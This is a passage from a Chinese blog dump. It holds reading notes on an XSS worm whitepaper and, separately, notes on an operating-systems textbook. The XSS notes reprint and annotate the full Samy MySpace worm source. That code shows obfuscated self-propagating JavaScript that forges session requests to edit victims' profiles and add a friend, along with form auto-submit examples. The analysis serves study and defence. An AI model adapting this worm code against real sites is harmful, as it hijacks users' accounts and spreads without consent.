7 月 12 日 275,000 IIS Web 服务的缓冲区溢出 Slammer(地狱) 2003 年 1 月 25 日 55,000 Microsoft SQL Server 缓冲 区溢出漏洞 Blaster(冲击波) 2003 年 8 月 11 号 336,000 远程过程调用（RPC） Samy 1,000,000 XSS 蠕虫和病毒有一个分布的中心点，Web 服务器，并且执行只发生在 Web 浏览器。接下来，攻击代码只从 Web 服务器发送到浏览器，反之亦然（见图 9），而不是从浏览器到浏览器或其他蠕虫的对等情况。这个特性减少了 网络噪声的体积。此外，每个网站访问代表一个活的计算机和可能的受害者，因为 XSS 恶意软件是不依赖于操作系 统。因此，感染的成功率要大得多。\n严格的分析 XSS 蠕虫之所以更加广泛传播的原因。其传播方式部署对等的。\n在本白皮书中开头，我们问：“拥有和控制着超过一百万可支配的 Web 浏览器和千兆带宽，可以做什么？”大规模的分布式拒绝服务攻击（DDoS）是一个简单的答案。让我们保守地说，每个浏览器有一个 128 Kb / s 的平均速 度（千比特/秒），并能产生一个 HTTP 请求，每秒的组合拨号，DSL，电缆，和 T-1 连接。其结果将是 128,000,000 Kb/ s 或 122 Gb / s 的吞吐量和每秒 1,000,000 HTTP 请求- 无疑是一个巨大的资源集合的访问。\n这样无疑会有十分巨大的受控资源。\n防御手段 在用户的层面上：\n点击链接发送电子邮件或即时消息时一定要谨慎。可疑的过长链接，尤其是那些看起来像是包含 HTML 代码 的链接。如果有疑问，手动输入网址到您的浏览器地址栏进行访问。 对于 XSS 漏洞，没有网络浏览器有一个明显的安全优势。话虽如此，但作者喜欢 Firefox 浏览器。为了获得 额外的安全性，可以考虑安装一些浏览器插件，如 NoScript25（Firefox 扩展插件）或 Netcraft 工具栏 26。 虽然不是 100％有效，但是避开可疑网站，如那些提供黑客自动化工具，warez，或色情的网站是明智的。 在开发者的角度上说：\n在敏感操作的时候需要进行验证码请求，避免直接使用反射型的XSS进行请求 提交内容进行严格过滤 书中的附录 \u0026lt;FORM ACTION=”http://server/path/” NAME=”myform” METHOD=”POST”\u0026gt; \u0026lt;INPUT TYPE=”HIDDEN” NAME=”Username” VALUE=”Foo”\u0026gt; \u0026lt;INPUT TYPE=”HIDDEN” NAME=”Password” VALUE=”Bar”\u0026gt; \u0026lt;/FORM\u0026gt; 这里构建的一个表单，一样可以使用 JS 进行提交\n\u0026lt;SCRIPT language=”JavaScript”\u0026gt; document.myform.submit(); \u0026lt;/SCRIPT\u0026gt; 通过 XHR 进行模拟请求：\nvar req = new XMLHttpRequest(); req.open(‘GET’, ‘http://server/path)/’, true); req.onreadystatechange = function () { if (req.readyState == 4) { alert(req.responseText); } }; req.send(null); Samy 蠕虫的源码 以及 个人的解读 \u0026lt;div id=mycode style=”BACKGROUND: url(\u0026#39;javascript:eval(document.all.mycode.expr)\u0026#39;)” expr=” var B = String.fromCharCode(34); var A = String.fromCharCode(39); function g() { var C; try { var D = document.body.createTextRange(); C = D.htmlText } catch (e) {} if (C) { return C } else { return eval(\u0026#39;document.body.innerHTML\u0026#39;) } } function getFromURL(BF, BG) { var T; if (BG == \u0026#39;Mytoken\u0026#39;) { T = B } else { T = \u0026#39; \u0026amp; \u0026#39; } var U = BG + \u0026#39; = \u0026#39;; var V = BF.indexOf(U) + U.length; var W = BF.substring(V, V + 1024); var X = W.indexOf(T); var Y = W.substring(0, X); return Y } function getData(AU) { M = getFromURL(AU, \u0026#39;friendID\u0026#39;); L = getFromURL(AU, \u0026#39;Mytoken\u0026#39;) } function getQueryParams() { var E = document.location.search; var F = E.substring(1, E.length).split(\u0026#39; \u0026amp; \u0026#39;); var AS = new Array(); for (var O = 0; O \u0026lt; F.length; O++) { var I = F[O].split(\u0026#39; = \u0026#39;); AS[I[0]] = I[1] } return AS } var J; var AS = getQueryParams(); var L = AS[\u0026#39;Mytoken\u0026#39;]; var M = AS[\u0026#39;friendID\u0026#39;]; if (location.hostname == \u0026#39;profile.myspace.com\u0026#39;) { document.location = \u0026#39;http: //www.myspace.com\u0026#39; + location.pathname + location.search } else { if (!M) { getData(g()) } main() } function getClientFID() { return findIn(g(), \u0026#39;up_launchIC(\u0026#39; + A, A) } function nothing() {} function paramsToString(AV) { var N = new String(); var O = 0; for (var P in AV) { if (O \u0026gt; 0) { N += \u0026#39; \u0026amp; \u0026#39; } var Q = escape(AV[P]); while (Q.indexOf(\u0026#39; + \u0026#39;) != -1) { Q = Q.replace(\u0026#39; + \u0026#39;, \u0026#39; % 2B\u0026#39;) } while (Q.indexOf(\u0026#39; \u0026amp; \u0026#39;) != -1) { Q = Q.replace(\u0026#39; \u0026amp; \u0026#39;, \u0026#39; % 26\u0026#39;) } N += P + \u0026#39; = \u0026#39; + Q; O++ } return N } function httpSend(BH, BI, BJ, BK) { if (!J) { return false } eval(\u0026#39;J.onr\u0026#39; + \u0026#39;eadystatechange = BI\u0026#39;); J.open(BJ, BH, true); if (BJ == \u0026#39;POST\u0026#39;) { J.setRequestHeader(\u0026#39;Content - Type\u0026#39;, \u0026#39;application / x - www - form - urlencoded\u0026#39;); J.setRequestHeader(\u0026#39;Content - Length\u0026#39;, BK.length) } J.send(BK); return true } function findIn(BF, BB, BC) { var R = BF.indexOf(BB) + BB.length; var S = BF.substring(R, R + 1024); return S.substring(0, S.indexOf(BC)) } function getHiddenParameter(BF, BG) { return findIn(BF, \u0026#39;name = \u0026#39; + B + BG + B + \u0026#39;value = \u0026#39; + B, B) } function getXMLObj() { var Z = false; if (window.XMLHttpRequest) { try { Z = new XMLHttpRe - quest() } catch(e) { Z = false } } else if (window.ActiveXObject) { try { Z = new ActiveXOb - ject(\u0026#39;Msxml2.XMLHTTP\u0026#39;) } catch (e) { try { Z = new ActiveXOb - ject(\u0026#39;Microsoft.XMLHTTP\u0026#39;) } catch (e) { Z = false } } } return Z } var AA = g(); var AB = AA.indexOf(\u0026#39;m\u0026#39; + \u0026#39;ycode\u0026#39;); var AC = AA.substring(AB, AB + 4096); var AD = AC.indexOf(\u0026#39;D\u0026#39; + \u0026#39;IV\u0026#39;); var AE = AC.substring(0, AD); var AF; if (AE) { AE = AE.replace(\u0026#39;jav\u0026#39; + \u0026#39;a\u0026#39;, A + \u0026#39;jav\u0026#39; + \u0026#39;a\u0026#39;); AE = AE.replace(\u0026#39;exp\u0026#39; + \u0026#39;r)\u0026#39;, \u0026#39;exp\u0026#39; + \u0026#39;r)\u0026#39; + A); AF = \u0026#39;but most of all,samy is my hero. \u0026lt; d\u0026#39; + \u0026#39;iv id = \u0026#39; + AE + \u0026#39;D\u0026#39; + \u0026#39;IV \u0026gt; \u0026#39; } var AG; function getHome() { if (J.readyState != 4) { return } var AU = J.responseText; AG = findIn(AU, \u0026#39;P\u0026#39; + \u0026#39;rofileHeroes\u0026#39;, \u0026#39; \u0026lt; /td\u0026gt;\u0026#39;); AG = AG.substring(61, AG.length); if (AG.indexOf(\u0026#39;samy\u0026#39;) == -1) { if (AF) { AG += AF; var AR = getFromURL(AU, \u0026#39;Mytoken\u0026#39;); var AS = new Ar - ray(); AS[\u0026#39;interestLabel\u0026#39;] = \u0026#39;heroes\u0026#39;; AS[\u0026#39;submit\u0026#39;] = \u0026#39;Preview\u0026#39;; AS[\u0026#39;interest\u0026#39;] = AG; J = getXMLObj(); httpSend(\u0026#39;/index.cfm ? fuseaction = profile.previewInterests \u0026amp; Mytoken = \u0026#39; + AR, postHero, \u0026#39;POST\u0026#39;, paramsToString(AS)) } } } function postHero() { if (J.readyState != 4) { return } var AU = J.responseText; var AR = getFromURL(AU, \u0026#39;Mytoken\u0026#39;); var AS = new Ar - ray(); AS[\u0026#39;interestLabel\u0026#39;] = \u0026#39;heroes\u0026#39;; AS[\u0026#39;submit\u0026#39;] = \u0026#39;Submit\u0026#39;; AS[\u0026#39;interest\u0026#39;] = AG; AS[\u0026#39;hash\u0026#39;] = getHiddenParame - ter(AU, \u0026#39;hash\u0026#39;); httpSend(\u0026#39; / index.cfm ? fuseaction = profile.processInterests \u0026amp; Mytoken = \u0026#39; + AR, nothing, \u0026#39;POST\u0026#39;, paramsToString(AS)) } function main() { var AN = getClientFID(); var BH = \u0026#39; / index.cfm ? fuseaction = user.viewProfile \u0026amp; friendID = \u0026#39; + AN + \u0026#39; \u0026amp; Mytoken = \u0026#39; + L; J = getXMLObj(); httpSend(BH, getHome, \u0026#39;GET\u0026#39;); xmlhttp2 = getXMLObj(); httpSend2(\u0026#39; / index.cfm ? fuseaction = invite.addfriend_verify \u0026amp; friendID = 11851658 \u0026amp; Mytoken = \u0026#39; + L, processxForm, \u0026#39;GET\u0026#39;) } function processx - Form() { if (xmlhttp2.readyState != 4) { return } var AU = xmlhttp2.responseText; var AQ = getHiddenParameter(AU, \u0026#39;hashcode\u0026#39;); var AR = getFromURL(AU, \u0026#39;Mytoken\u0026#39;); var AS = new Array(); AS[\u0026#39;hashcode\u0026#39;] = AQ; AS[\u0026#39;friendID\u0026#39;] = \u0026#39;11851658\u0026#39;; AS[\u0026#39;submit\u0026#39;] = \u0026#39;Add to Friends\u0026#39;; httpSend2(\u0026#39; / index.cfm ? fuseaction = invite.addFriendsProcess \u0026amp; Mytoken = \u0026#39; + AR, nothing, \u0026#39;POST\u0026#39;, paramsToString(AS)) } function httpSend2(BH, BI, BJ, BK) { if (!xmlhttp2) { return false } eval(\u0026#39;xmlhttp2.onr\u0026#39; + \u0026#39;eadystatechange = BI\u0026#39;); xmlhttp2.open(BJ, BH, true); if (BJ == \u0026#39;POST\u0026#39;) { xmlhttp2.setRequestHeader(\u0026#39;Content - Type\u0026#39;, \u0026#39;application / x - www - form - urlencoded\u0026#39;); xmlhttp2.setRequestHeader(\u0026#39;Content - Length\u0026#39;, BK.length) } xmlhttp2.send(BK); return true } ”\u0026gt;\u0026lt;/DIV\u0026gt; 这里就是这个蠕虫的前导代码了\nvar J; var AS = getQueryParams(); // 这里是获取用户的信息栏 var L = AS[\u0026#39;Mytoken\u0026#39;]; var M = AS[\u0026#39;friendID\u0026#39;]; if (location.hostname == \u0026#39;profile.myspace.com\u0026#39;) { document.location = \u0026#39;http: //www.myspace.com\u0026#39; + location.pathname + location.search // 这里进行重定向到 www 站点从用户的属性页面 } else { // 如果这里不是在用户的属性页面，是在浏览页面时候遇上的，就开始工作了！ if (!M) { getData(g()) // g 返回页面特定内容 } main() // ready to go } getdata 的函数内容很容易理解\nfunction getData(AU) { M = getFromURL(AU, \u0026#39;friendID\u0026#39;); L = getFromURL(AU, \u0026#39;Mytoken\u0026#39;) } 这里是 得到用户的属性页的列表：\nfunction getQueryParams() { var E = document.location.search; var F = E.substring(1, E.length).split(\u0026#39; \u0026amp; \u0026#39;); var AS = new Array(); for (var O = 0; O \u0026lt; F.length; O++) { var I = F[O].split(\u0026#39; = \u0026#39;); AS[I[0]] = I[1] } return AS } 从这个的标签可以看出，此处实际上没有进行XSS的过滤，所以可以直接提交一个 div 标签，就可以实现 XSS 代码的存储。\nfunction main() { var AN = getClientFID(); // 取得uid var BH = \u0026#39; / index.cfm ? fuseaction = user.viewProfile \u0026amp; friendID = \u0026#39; + AN + \u0026#39; \u0026amp; Mytoken = \u0026#39; + L; J = getXMLObj(); // 取得 http交互示例 httpSend(BH, getHome, \u0026#39;GET\u0026#39;); // 伪造浏览用户 profile 的动作 // 这里可能报异常 xmlhttp2 = getXMLObj(); // 这里得到一个 HTTP 交互的示例 httpSend2(\u0026#39; / index.cfm ? fuseaction = invite.addfriend_verify \u0026amp; friendID = 11851658 \u0026amp; Mytoken = \u0026#39; + L, processxForm, \u0026#39;GET\u0026#39;) } 在 getXMLObj 函数里面使用了比较hack 的写法，应该是避免了人一些针对关键字的检测，其具体的实现代码如下：\nfunction getXMLObj() { var Z = false; if (window.XMLHttpRequest) { try { Z = new XMLHttpRe - quest() // 这里就是混淆 } catch(e) { Z = false } } else if (window.ActiveXObject) { try { Z = new ActiveXOb - ject(\u0026#39;Msxml2.XMLHTTP\u0026#39;) // 混淆 } catch (e) { try { Z = new ActiveXOb - ject(\u0026#39;Microsoft.XMLHTTP\u0026#39;) } catch (e) { Z = false } } } return Z } function httpSend(BH, BI, BJ, BK) { if (!J) { // 这里的J是前面返回的 XHR 实例。 return false } eval(\u0026#39;J.onr\u0026#39; + \u0026#39;eadystatechange = BI\u0026#39;); // 这里对核心操作进行混淆 J.open(BJ, BH, true); // 这里打开一个 XHR 请求 （方式，链接） if (BJ == \u0026#39;POST\u0026#39;) { J.setRequestHeader(\u0026#39;Content - Type\u0026#39;, \u0026#39;application / x - www - form - urlencoded\u0026#39;); J.setRequestHeader(\u0026#39;Content - Length\u0026#39;, BK.length) } J.send(BK); return true } 这里，使用了eval对其状态回调进行了赋值。 即在其完成后执行\nfunction getHome() { if (J.readyState != 4) { return } var AU = J.responseText; AG = findIn(AU, \u0026#39;P\u0026#39; + \u0026#39;rofileHeroes\u0026#39;, \u0026#39; \u0026lt; /td\u0026gt;\u0026#39;); AG = AG.substring(61, AG.length); if (AG.indexOf(\u0026#39;samy\u0026#39;) == -1) { // 这里判断当前用户是否是否关注了 samy if (AF) { AG += AF; var AR = getFromURL(AU, \u0026#39;Mytoken\u0026#39;); var AS = new Ar - ray(); AS[\u0026#39;interestLabel\u0026#39;] = \u0026#39;heroes\u0026#39;; AS[\u0026#39;submit\u0026#39;] = \u0026#39;Preview\u0026#39;; AS[\u0026#39;interest\u0026#39;] = AG; J = getXMLObj(); httpSend(\u0026#39;/index.cfm ? fuseaction = profile.previewInterests \u0026amp; Mytoken = \u0026#39; + AR, postHero, \u0026#39;POST\u0026#39;, paramsToString(AS)) // 这里是核心部分提交对 samy 关注的请求 } } } 上面的函数在http请求返回时候进行回调，实现添加 samy 关注的功能。\n第二个，请求函数：\nfunction httpSend2(BH, BI, BJ, BK) { if (!xmlhttp2) { return false } eval(\u0026#39;xmlhttp2.onr\u0026#39; + \u0026#39;eadystatechange = BI\u0026#39;); xmlhttp2.open(BJ, BH, true); if (BJ == \u0026#39;POST\u0026#39;) { xmlhttp2.setRequestHeader(\u0026#39;Content - Type\u0026#39;, \u0026#39;application / x - www - form - urlencoded\u0026#39;); xmlhttp2.setRequestHeader(\u0026#39;Content - Length\u0026#39;, BK.length) } xmlhttp2.send(BK); return true } 上面函数的回调函数如下：\nfunction processxForm() { if (xmlhttp2.readyState != 4) { return } var AU = xmlhttp2.responseText; var AQ = getHiddenParameter(AU, \u0026#39;hashcode\u0026#39;); var AR = getFromURL(AU, \u0026#39;Mytoken\u0026#39;); var AS = new Array(); AS[\u0026#39;hashcode\u0026#39;] = AQ; AS[\u0026#39;friendID\u0026#39;] = \u0026#39;11851658\u0026#39;; AS[\u0026#39;submit\u0026#39;] = \u0026#39;Add to Friends\u0026#39;; httpSend2(\u0026#39; / index.cfm ? fuseaction = invite.addFriendsProcess \u0026amp; Mytoken = \u0026#39; + AR, nothing, \u0026#39;POST\u0026#39;, paramsToString(AS)) } var AA = g(); // 代码这里获取页面的代码 var AB = AA.indexOf(\u0026#39;m\u0026#39; + \u0026#39;ycode\u0026#39;); var AC = AA.substring(AB, AB + 4096); var AD = AC.indexOf(\u0026#39;D\u0026#39; + \u0026#39;IV\u0026#39;); var AE = AC.substring(0, AD); // 这里的这几行，对页面的内容进行截取操作 这里对页面的内容进行获取，截取出需要的段。\nvar B = String.fromCharCode(34); var A = String.fromCharCode(39); // 这里的是 JS 的从AsCII 转字符的函数 // 对应的是 \u0026#39; 与 \u0026#34; ... if (AE) { AE = AE.replace(\u0026#39;jav\u0026#39; + \u0026#39;a\u0026#39;, A + \u0026#39;jav\u0026#39; + \u0026#39;a\u0026#39;); AE = AE.replace(\u0026#39;exp\u0026#39; + \u0026#39;r)\u0026#39;, \u0026#39;exp\u0026#39; + \u0026#39;r)\u0026#39; + A); AF = \u0026#39;but most of all,samy is my hero. \u0026lt; d\u0026#39; + \u0026#39;iv id = \u0026#39; + AE + \u0026#39;D\u0026#39; + \u0026#39;IV \u0026gt; \u0026#39; } 这里如果存在了 目标的 内容，那么构造AE与AF 两段内容\nSummary 通过这本书,或者是这篇文章,简单的了解了一个XSS蠕虫的实现，以及其传播的原理，借助WEB层面的功能，通过用户的操作伪造，实现对samy 关注，和对自己的 profile 进行修改的功能，从而实现了 这个蠕虫的大面积传播。\n","date":"2018-12-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/12/2018-12-23-xss/","tags":null,"title":"读本好书 《XSS 蠕虫 \u0026amp; 病毒》"},{"categories":null,"contents":"中间有事情折腾来回飘，其中也是抽了抽时间看了看书。\n这里放上一幅偶遇的图，自己现在在哪里呢~\n身为互联网人，也难免不惊叹于互联网的发展，很久以前，一直在思考，明明有那么好的，先进的易用的科技产品，那么在平常百姓的家里怎么就这么难见到呢？一直在想，有一个怕平台，可以把这些东西推到人们身边。实则不然，哪里这么简单，更快，更方便，就是人们的选择吗？年龄，思维，甚至性格，都会去决定这些东西存在的可能。真正的拿了就走的自动售货机。。。\n简介 书名：操作系统思考 中文版 原文：Think OS: A Brief Introduction to Operating Systems 译者：飞龙 来源：Allen B. Downey 协议：CC BY-NC-SA 4.0 一本入门级的讲操作系统的书，这里一样的是当作拾遗了，书写的还是很不错的，推荐！\n每次都是感谢这些 开源书籍，以后有能里自己推一本！\n这本书，从编译开始，到一个进程和进程的虚拟内存，文件系统，缓存，多任务，线程互斥等等的方面。\n编译 这一部分从 解释性语言和编译性语言来引出了编译的这一个概念。\n人们通常把编程语言描述为编译语言或者解释语言。前者的意思是程序被翻译成机器语言，之后由硬件执行；而后者的意思是程序被软件解释器读取并执行。例如，C被认为是编译语言，而Python被认为是解释语言。但是二者之间的界限并不总是那么明显。\n…\n所以，编译执行或解释执行并不是语言的内在特征。尽管如此，在编译语言和解释语言之间有一些普遍的差异。\n很多语言都 可以被 编译 和解释两种执行方式。可以有解释性的C和编译性的Python (Py2Exe)。JAVA 更加特殊，先进行编译为 Java字节码 ，dex。\n在解释性语言中，在运行的过程中，变量的名称以及变量的值都会被保存在内存空间中的。\n\u0026gt;\u0026gt;\u0026gt; globals() {\u0026#39;__builtins__\u0026#39;: \u0026lt;module \u0026#39;__builtin__\u0026#39; (built-in)\u0026gt;, \u0026#39;__name__\u0026#39;: \u0026#39;__main__\u0026#39;, \u0026#39;__doc__\u0026#39;: None, \u0026#39;a\u0026#39;: 123, \u0026#39;__package__\u0026#39;: None} \u0026gt;\u0026gt;\u0026gt; locals() {\u0026#39;__builtins__\u0026#39;: \u0026lt;module \u0026#39;__builtin__\u0026#39; (built-in)\u0026gt;, \u0026#39;__name__\u0026#39;: \u0026#39;__main__\u0026#39;, \u0026#39;__doc__\u0026#39;: None, \u0026#39;a\u0026#39;: 123, \u0026#39;__package__\u0026#39;: None} \u0026gt;\u0026gt;\u0026gt; 而在 编译性语言的运行过程中，是不会出现变量名称的，只会变量的值（内存地址）。\n编译的过程：这个可以算是考点了，预处理，编译，汇编，链接。（.i -\u0026gt; .s -\u0026gt; .o -\u0026gt; .exe)。\n在书中，这里细化为了 5 个步骤：预处理， 解析， 静态检查代码， 生成， 链接， 优化。\ngcc hello.c -S # 译得到 汇编代码 gcc hello.c -c # 编得到 二进制中间文件 gcc hello.c -E # 处理 进程 书中提到的很重要的两个概念，抽象 与 虚拟化 。具体的概念就不展开了哈。OOP概念，虚拟化，可以理解为一种复杂的映射。\n“虚拟”这个词通常用于虚拟机的语境中，它是一种软件，可以创建运行特定系统的专用计算机的幻象。实际上，虚拟机可能和其它虚拟机一起运行在不同的操作系统上。\n在虚拟化的语境中，我们通常把真实发生的事情叫做“物理的”，而把虚拟上发生的事情叫做“逻辑的”或者“抽象的”。\n在操作系统上讲，其对进程来讲是 抽象的，内存来讲是虚拟化的。\n进程隔离，进程的内存空间当然是独立的，且受保护的，两个进程的数据，如果在一起了，那么相互影响，结果是双双崩溃。（当然，通过注入技术，是可以实现对其他进程的内存访问。）\n操作系统最重要的目标之一，就是将每个进程和其它进程隔离，使程序员不必考虑每个可能的交互情况。提供这种隔离的软件对象叫做进程（Process）。\n进程，可以称之为隔离的软件对象。对象保护以下的数据对象：\n代码段 相关数据：静态区，堆区，栈区。 任何等待状态的IO资源 程序的硬件状态 当进程出现了 Fork ：这种情况下，各个进程共享程序文本，但是拥有不同的数据和硬件状态。\n进程隔离的实现：\n多任务 可以在程序的任何时候中断它，保存寄存器状态。 虚拟内存 实际上，进程的内存在物理内存里面是分片映射的，区域不会重复- 设备抽象 可用的IO设备被抽象成对象，系统自动的实现 资源的分配及调度 “TTY”代表“电传打字机”（Teletypewriter），它是原始的机械终端。\n虚拟内存 你一定听过人们谈论32位和64位系统。这些术语表明了寄存器的尺寸，也通常是虚拟地址的大小。在32位系统上，虚拟地址是32位的，也就是说虚拟地址空间为从0到0xffff ffff。这一地址空间的大小是2 ** 32个字节，或者4GiB。\n在64位系统上，虚拟地址空间大小为2 ** 64个字节，或者4 * 1024 ** 6个字节。这是16个EiB，大约比当前的物理内存大十亿倍。虚拟内存比物理内存大很多，这看上去有些奇怪，但是我们很快就就会看到它如何工作。\n这里写到了，进程的虚拟内存结构，运行中的进程数据组织为 4 个段：\n数据段 功能 位置 text 程序文本，代码段 段靠近内存“底部”，即接近0x00000000的地址。 static 全局变量，和使用static声明的局部变量。 段通常刚好在text段上面。 stack 如其名是栈空间，里面是栈帧（每个Function运行时分配（参数，局部变量），重要的是RP，返回地址） 段靠近内存顶部，即接近虚拟地址空间的最大地址0xffffffff。在扩张过程中，它向低地址的方向增长。 heap 堆区，我们动态分配，以及释放的内存段 malloc 内存泄露的重灾区 通常在static段的上面。在扩张过程中，它向高地址的方向增长 在虚拟内存地址的分布，也是有着固定的关系。\n地址翻译 虚拟地址（Virtual Memory） 翻译成 物理地址 （Physical Memory）。这里就有了很重点的地方，就是内存映射。MMU（内存管理单元），就实现了这样的一个很重要的角色，位于CPU和主存之间。MMU在VA和PA之间执行快速的翻译。\n当程序读写变量时，CPU会得到VA。 MMU将VA分成两部分，称为页码和偏移。“页”是一个内存块，页的大小取决于操作系统和硬件，通常为1~4KiB。 MMU在“页表”里查找页码，然后获取相应的物理页码。之后它将物理页码和偏移组合得到PA。 PA传递给主存，用于读写指定地址。 文件与文件系统 HDD/SSD\n机械硬盘比较复杂。数据存储在块内，它们布局在扇区中，扇区又组成磁道。磁道在盘片上以同心圆的形式排列。\n固态硬盘稍微简单一些，因为块按顺序被标号。但是这会产生另一种困难，每个块在变得不可靠之前，只能被读写有限的次数。\n在抽象的层面讲，文件系统就是文件名到文件内容的键值映射，如果你认为名称是键，内容是值，文件系统就是一种键值对的数据库。\nFILE *fp = fopen(\u0026#34;/home/downey/file.txt\u0026#34;, \u0026#34;w\u0026#34;); fputc(\u0026#39;b\u0026#39;, fp); // 被缓冲的 char c = fgetc(fp); fclose(fp); // 此时回写硬盘 这里的文件打开后，得到了一个文件指针。\n从物理层面。来看待磁盘的读性操作是相当的费时的，从磁盘上的进行一个块的读 需要 2~6ms 。\n所以在操作系统的层面上有以下的处理：\n块操作 以磁盘的块为单位加载到内存中进行处理，即使单字节数据亦然 预取 在对文件首块进行访问的时候，后面的部分已经开始了预取 缓冲 对文件进行的写操作，会在内存中线进行缓冲，之后统一的进行写入，提高写入性能 数据在磁盘上如果是连续排列的，那么读写性能将会很客观，不过事实上很难做到。数据频繁的读写，很难给每一个文件都找到合适的连续空间。所以多数操作系统 把文件分散在不同的地方，使用数据结构来进行数据库的跟踪。\n在 Unix 的文件系统中，数据结构被称之为**inode**（index node）。\n文件内容就是数据，所以关于文件内容的数据就是数据的数据，所以为“元数据”。\ninode 这个数据结构，包括文件的拥有者，权限，时间戳，等待，重要的是文件内容，这里使用间接存储，使用多级的结构，把文件分散的存储在磁盘的不同地方。第一大文件，使用多级映射，（三级）\nFAT 是一种很常见的文件结构了，他的全名是 文件分配表（File Allocation Table），其思路是把磁盘的每个块都会有一个条目，这个条目的上下文叫做簇。\n目录包含了每个文件的第一个簇的指针，而每个条目的指针又指向了下一个簇，所以这里形成了一个类似于链表的结构。\n所以这里问题来了，在inode 的方法的文件系统中 （ext3，ext4…）好处是不会出现文件的碎片化。但是在 fat 的文件系统下，就会出现文件的碎片化 ，也就是每个簇在物理地址上的差别太大，导致多次的寻道，导致了IO性能的问题。\n内存管理 这里指的是动态内存分配，malloc， colloc ，free， realloc。下面的是常见的内存错误\n使用未分配内存 释放后访问 释放未分配内存 重复释放内存 非法使用 realloc 内存错误，通常很严重很各色诡异，所以也是最难解决的问题。\n如果存在未分配的指针，运气好，地址落在了代码段，这里的内存是只读的，进行数据写之后，通常会有段错误发生，所以可以看到异常的发生。 未分配指针，如果地址落在了可读性的内存区域内，导致的问题可能更加严重，程序本身并没有明显多万，带式可能一些数据被非法的修改，导致了一些诡异的情况。而且十分的不易察觉。 当我们使用函数进行了内存的分配，但是我没有使用 free ，到后面我们又搞丢了这个分配空间的地址，那么这就导致了内存泄漏。 进程占用了过多的无用内存。如果，进程很快退出，可能不会有影响。但是时间久了，就会越来越多，到后面可能直接导致了Core 的发生。\n不过，内存本身有管理机制，这种泄露使用的内存页，一般是不会再次被访问了，所以一般会被置换到硬盘的交换区。对系统性能的影响不是很大。\n缓存 操作系统在缓存的等级来讲，已经实现了无感知，硬件本身帮我们实现了缓存的存在\nhttps://wizardforcel.gitbooks.io/think-os/content/ch7.html\n内存换页：\n大多数进程不会用完所分配的内存。text段的许多部分都永远不会执行，或者执行一次就再也不用了。这些页面可以被换出而不会引发任何问题。 如果程序泄露了内存，它可能会丢掉所分配的空间，并且永远不会使用它了。通过将这些页面换出，操作系统可以有效填补泄露。 在多数系统中，有些进程像守护进程那样，多数时间下都是闲置的，只在特定场合被“唤醒”来响应事件。当它们闲置时，这些进程可以被换出。 另外，可能有许多进程运行同一个程序。这些进程可以共享相同的text段，避免在物理内存中保留多个副本。 多任务 操作系统中，实现多任务的这部分叫做“内核”。在坚果或者种子中，内核是最内层的部分，由外壳所包围。在操作系统各种，内核是软件的最底层，由一些其它层包围，包括称为“Shell”的界面。计算机科学家喜欢引喻。\n在操作系统中，由于处理核心数的限制，进程之间，事实上都是串行的，他们之间由内核，进行快速的上下文切换，我没感受不到间隔，所以认为是并行的，这也就是我们的多任务。\n内核在不断的处理系统的中断使用终端服务代码段。下面是相应中断的过程：\n当中断发生时，硬件将程序计数器保存到一个特殊的寄存器中，并且跳到合适的中断处理器。 中断处理器将程序计数器和位寄存器，以及任何打算使用的数据寄存器的内容储存到内存中。 中断处理器运行处理中断所需的代码。 之后它复原所保存寄存器的内容。最后，复原被中断进程的程序计数器，这会跳回到被中断的进程。 在发生了中断之后，系统并不会总是恢复被中断的任务，而是可能从内存中取出另一个进程的状态进行恢复，这就实现了上下文切换\n在多任务的系统中，每个进程都允许运行一小段时间，叫做“时间片”或“quantum”。在上下文切换的过程中，内核会设置一些硬件计数器，它们会在时间片的末尾产生中断。当中断发生时，内核可以切换到另一个进程，或者允许被中断的进程继续执行。操作系统中做决策的这一部分叫做“调度器”。\n这里就是，进程调度了，这里就是时间片轮转法。让我想到之前 玩 手机 OC的时代：\nCPU处理器和IO调度详解—让手机更省电更流畅\n进程状态 ：由三态，五态模型。\n一台计算机上可能运行着成百上千条进程，但是通常大多数进程都是阻塞的。大多数情况下，只有一小部分进程是就绪或者运行的。当中断发生时，调度器会决定那个进程应启动或恢复\n关于进程调度：\n进程可能被不同的资源限制。执行大量计算的进程是计算密集的，也就是说它的运行时间取决于得到了多少CPU时间。从网络或磁盘读取数据的进程是IO密集的，也就是说如果数据输入和输出更快的话，它就会更快，但是在更多CPU时间下它不会运行得更快。最后，与用户交互的程序，在大多数时间里可能都是阻塞的，用于等待用户的动作。操作系统有时可以将进程基于它们过去的行为分类，并做出相应的调度。例如，当一个交互型进程不再被阻塞，应该马上运行，因为用户可能正在等待回应。另一方面，已经运行了很长时间的CPU密集的进程可能就不是时间敏感的。 如果一个进程可能会运行较短的时间，之后发出了阻塞的请求，它可能应该立即运行，出于两个原因：（1）如果请求需要一些时间来完成，我们应该尽快启动它，（2）长时间运行的进程应该等待短时间的进程，而不是反过来。作为类比，假设你在做苹果馅饼。面包皮需要5分钟来准备，但是之后需要半个小时的冷却。而馅料需要20分钟来准备。如果你首先准备面包皮，你可以在其冷却时准备馅料，并且可以在35分钟之内做完。如果你先准备馅料，就会花费55分钟。 这里引用文中的话，如何更明智的选择调度方式，的第一点提到了计算密集型，以及 IO密集型，这里的密集型可以理解为时间主要花费在。\n线程 进程下面派生出了线程，和进程不同，他们共享：代码段，静态区，以及堆区。栈是独立的。\n所以在使用线程的时候，最大的问题，就是线程的同步问题，如何做到线程不会同时的区争夺一个资源，或者同时区读写一个变量。死锁和竞态\n进程是资源分配的最小单位，线程是调度的最小单位。\n在 POSIX 的标准中，一个安全的新建线程的示例代码如下，记得编译的时候静态链接上 pthread\npthread_t make_thread(void *(*entry)(void *), Shared *shared) { int n; pthread_t thread; n = pthread_create(\u0026amp;thread, NULL, entry, (void *)shared); if (n != 0) { perror(\u0026#34;pthread_create failed\u0026#34;); exit(-1); } return thread; } 可以，比较容易的发现，一个输出型参数，后面的就是函数的入库，再往后就是我没传入的线程函数参数。\n有提到，线程直接是共享代码段，静态区，以及堆区。所以，当一个线程对变量进行修改的时候，会影响到其他的线程中的值，这对于这个变量的操作是 非原子的。所以这里为了实现线程间的同步 涉及到了 互斥体（mutex）\ntypedef struct { int counter; } Shared; typedef struct { int counter; Mutex *mutex; } Shared; 对传入的参数进行修改，这里使用了mutex\n一样使用 POSIX 初始化互斥体：\nMutex *make_mutex() { Mutex *mutex = check_malloc(sizeof(Mutex)); int n = pthread_mutex_init(mutex, NULL); if (n != 0) perror_exit(\u0026#34;make_lock failed\u0026#34;); return mutex; } 